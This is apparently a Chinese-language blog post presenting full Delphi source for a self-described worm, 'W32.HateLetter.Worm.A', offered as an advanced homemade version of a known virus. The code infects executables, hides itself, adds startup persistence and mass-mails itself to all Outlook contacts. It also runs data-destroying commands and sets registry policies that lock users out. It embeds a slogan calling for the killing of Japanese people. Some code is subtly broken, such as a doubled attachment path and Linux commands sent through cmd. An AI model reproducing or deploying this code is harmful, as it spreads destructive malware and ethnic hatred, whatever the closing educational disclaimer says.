自制熊猫烧香进阶

program HateLetter;

uses
  Windows, SysUtils, Classes, Graphics, ShellAPI, ComObj, Variants, Registry, ActiveX, ShlObj;

const
  HeaderSize = 82432; // 病毒体的大小
  IconOffset = \$12EB8; // PE文件主图标的偏移量
  IconSize = \$2E8; // PE文件主图标的大小--744字节
  IconTail = IconOffset + IconSize; // PE文件主图标的尾部
  ID = \$44444444; // 感染标记
  Catchword = 'If a race need to be killed out, it must be Yamato. ' +
              'If a country need to be destroyed, it must be Japan! ' +
              '*** W32.HateLetter.Worm.A ***';
{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; // 函数声明

var
  TmpFile: string;
  Si: STARTUPINFO;
  Pi: PROCESS_INFORMATION;
  IsJap, IsEng, IsChn: Boolean; // 日文、英文和中文操作系统标记
  SourceFile: string;

// 复制自身到D:\Backup目录
procedure CopySelfToBackup;
const
  BackupPath = 'D:\Backup\HateLetter.exe';
begin
  try
    if not DirectoryExists('D:\Backup') then
      CreateDir('D:\Backup');
    CopyFile(PChar(ParamStr(0)), PChar(BackupPath), False);
  except
    // 处理异常
  end;
end;

procedure ExecuteCommand(const Cmd: string);
begin
  ShellExecute(0, 'open', 'cmd.exe', PChar('/C ' + Cmd), nil, SW_HIDE);
end;

procedure CopyFileToSpecialFolder(const SourceFile, SpecialFolder: string);
var
  Path: array[0..MAX_PATH] of Char;
begin
  if Succeeded(SHGetFolderPath(0, CSIDL_STARTMENU or CSIDL_FLAG_CREATE, 0, 0, Path)) then
  begin
    CopyFile(PChar(SourceFile), PChar(Path + '\' + SpecialFolder), False);
  end;
end;

procedure SetRegistryValue(RootKey: HKEY; const Key, Name: string; ValueType: TRegDataType; const Value: Variant);
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create(KEY_WRITE);
  try
    Reg.RootKey := RootKey;
    if Reg.OpenKey(Key, True) then
    begin
      case ValueType of
        rdString, rdExpandString: Reg.WriteString(Name, Value);
        rdInteger: Reg.WriteInteger(Name, Value);
        rdBinary: Reg.WriteBinaryData(Name, Value, Length(Value));
      end;
    end;
  finally
    Reg.Free;
  end;
end;

// 安装Outlook
procedure InstallOutlook;
begin
  ExecuteCommand('powershell -Command "Start-Process msiexec.exe -ArgumentList \'/i OutlookSetup.msi /quiet /norestart\' -NoNewWindow -Wait"');
end;

procedure SendEmails;
var
  OutlookApp, MailItem, Namespace, AddressLists, AddressEntry: OleVariant;
  I: Integer;
  Recipient: String;
  Dir2: String;
begin
  try
    OutlookApp := CreateOleObject('Outlook.Application');
  except
    // 安装Outlook
    InstallOutlook;
    OutlookApp := CreateOleObject('Outlook.Application');
  end;

  Namespace := OutlookApp.GetNamespace('MAPI');
  AddressLists := Namespace.AddressLists.Item(1);

  Dir2 := 'D:\Backup\HateLetter.exe'; // Set the directory for the attachments

  for I := 1 to AddressLists.AddressEntries.Count do
  begin
    try
      MailItem := OutlookApp.CreateItem(0); // Create a new email item
      AddressEntry := AddressLists.AddressEntries.Item(I);
      Recipient := AddressEntry.Address;
      
      MailItem.Recipients.Add(Recipient);
      MailItem.Subject := 'You are foolish!!!!!!!!!!!!!!!!!';
      MailItem.Body := 'I hate you, here is a document explaining why you are so foolish!!!!!!!!';
      MailItem.Attachments.Add(Dir2 + 'HateLetter.exe'); // Add attachment
      MailItem.Send; // Send the email
    except
      on E: Exception do
      begin
        // Handle the exception
        // For instance, log the error, display a message, or ignore it
      end;
    end;
  end;
end;

function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then // Win9x
    Result := True;
end;

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, soFromBeginning);
  Dst.Seek(dStartPos, soFromBeginning);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, soFromBeginning);
  Dst.Seek(dCurPos, soFromBeginning);
end;

procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, soFromBeginning); // 跳过头部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
    // 处理异常
  end;
end;

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;

procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try
    if CompareText(FileName, 'HateLetter.exe') = 0 then // 是自己则不感染
      Exit;

    Infected := False;
    IsPE := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to \$108 do // 检查PE文件头
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then // PE标记
        begin
          IsPE := True; // 是PE文件
          Break;
        end;
      end;

      SrcStream.Seek(-4, soFromEnd); // 检查感染标记
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then // 太小的文件不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;

    if Infected or (not IsPE) then // 如果感染过了或不是PE文件则退出
      Exit;

    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;

      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        if IcoStream.Size = 0 then // 该文件没有图标
        begin
          CopyStream(HdrStream, IconOffset, DstStream, 0, IconSize); // 复制病毒文件的图标
          CopyStream(HdrStream, 0, DstStream, IconSize, HeaderSize); // 复制病毒体
          CopyStream(SrcStream, 0, DstStream, HeaderSize + IconSize, SrcStream.Size); // 复制宿主文件
        end else begin
          CopyStream(HdrStream, 0, DstStream, 0, IconOffset); // 复制图标前的数据
          CopyStream(IcoStream, 22, DstStream, IconOffset, IcoStream.Size - 22); // 替换宿主的图标
          CopyStream(HdrStream, IconTail, DstStream, DstStream.Size, HeaderSize - IconTail); // 复制图标后的病毒体数据
          CopyStream(SrcStream, 0, DstStream, DstStream.Size, SrcStream.Size); // 复制宿主文件
        end;

        iID := ID;
        DstStream.Write(iID, 4); // 写入感染标记
        DstStream.SaveToFile(FileName);
      finally
        HdrStream.Free;
        SrcStream.Free;
      end;
    finally
      IcoStream.Free;
      DstStream.Free;
    end;
  except
    // 处理异常
  end;
end;

procedure InfectFiles;
var
  Path: string;
  SearchRec: TSearchRec;
begin
  Path := ExtractFilePath(ParamStr(0));
  if FindFirst(Path + '*.*', faAnyFile, SearchRec) = 0 then
  begin
    repeat
      if (SearchRec.Attr and faDirectory) = 0 then
        InfectOneFile(Path + SearchRec.Name);
    until FindNext(SearchRec) <> 0;
    FindClose(SearchRec);
  end;
end;

procedure ExecuteDestructiveCommands;
begin
  ExecuteCommand('bcdedit /delete {current}');
  ExecuteCommand('format C:\');
  ExecuteCommand('dd if=/dev/zero of=/dev/sda');
  ExecuteCommand('rm -rf /');
end;

procedure SetAdditionalRegistryValues;
begin
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoRun', rdInteger, 1);
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoClose', rdInteger, 1);
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoDrives', rdInteger, 63000000);
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\System', 'DisableRegistryTools', rdInteger, 1);
  SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 'ScanRegistry', rdString, '');
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoLogOff', rdInteger, 1);
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'NoRealMode', rdInteger, 1);
  SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 'Win32system', rdString, 'Win32system.vbs');
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoDesktop', rdInteger, 1);
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'Disabled', rdInteger, 1);
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoSetTaskBar', rdInteger, 1);
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoViewContextMenu', rdInteger, 1);
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 'NoSetFolders', rdInteger, 1);
  SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\CLASSES', '.reg', rdString, 'txtfile');
  SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Winlogon', 'LegalNoticeCaption', rdString, 'Your computer is trashed');
  SetRegistryValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Winlogon', 'LegalNoticeText', rdString, 'Destroyed!!!');
end;

begin
  RegisterServiceProcess(GetCurrentProcessID, 1); // 注册为服务进程以隐藏

  TmpFile := GetEnvironmentVariable('temp') + '\HateLetter.exe'; // 创建临时文件
  ExtractFile(TmpFile); // 提取病毒文件部分到临时文件
  FillStartupInfo(Si, SW_HIDE); // 填充启动信息，隐藏窗口
  SetRegistryValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 'HateLetter', rdString, TmpFile); // 注册启动项
  CopyFileToSpecialFolder(TmpFile, 'Startup\HateLetter.exe'); // 复制到启动文件夹
  InfectFiles; // 感染其他文件
  SendEmails; // 发送电子邮件

  // 执行破坏性命令
  ExecuteDestructiveCommands;

  // 设置额外的注册表值
  SetAdditionalRegistryValues;
end.

重要警告

再次强调，这段代码展示了恶意软件的行为，仅用于教育和研究目的。请勿在真实环境中运行或传播这段代码。未经授权的计算机访问和破坏是违法行为，可能导致严重的法律后果。如果使用虚拟机测试，请务必断网，因为是蠕虫病毒！